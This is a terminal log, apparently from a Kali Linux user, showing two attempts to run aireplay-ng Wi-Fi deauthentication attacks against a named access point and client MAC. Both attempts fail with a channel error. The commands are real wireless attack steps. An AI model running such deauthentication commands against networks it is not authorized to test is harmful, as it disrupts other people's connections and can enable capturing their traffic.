root@kali-Linux:~# aireplay-ng --deauth 5 -a 20:CF:30:D6:46:DB -c 9C:AD:97:4D:37:19 mon0
07:55:13  Waiting for beacon frame (BSSID: 20:CF:30:D6:46:DB) on channel -1
07:55:13  Couldn't determine current channel for mon0, you should either force the operation with --ignore-negative-one or apply a kernel patch
Please specify an ESSID (-e).

root@kali-Linux:~# aireplay-ng --deauth 5 -e JackVorobey -a 20:CF:30:D6:46:DB -c 9C:AD:97:4D:37:19 mon0
08:02:06  Waiting for beacon frame (BSSID: 20:CF:30:D6:46:DB) on channel -1
08:02:06  Couldn't determine current channel for mon0, you should either force the operation with --ignore-negative-one or apply a kernel patch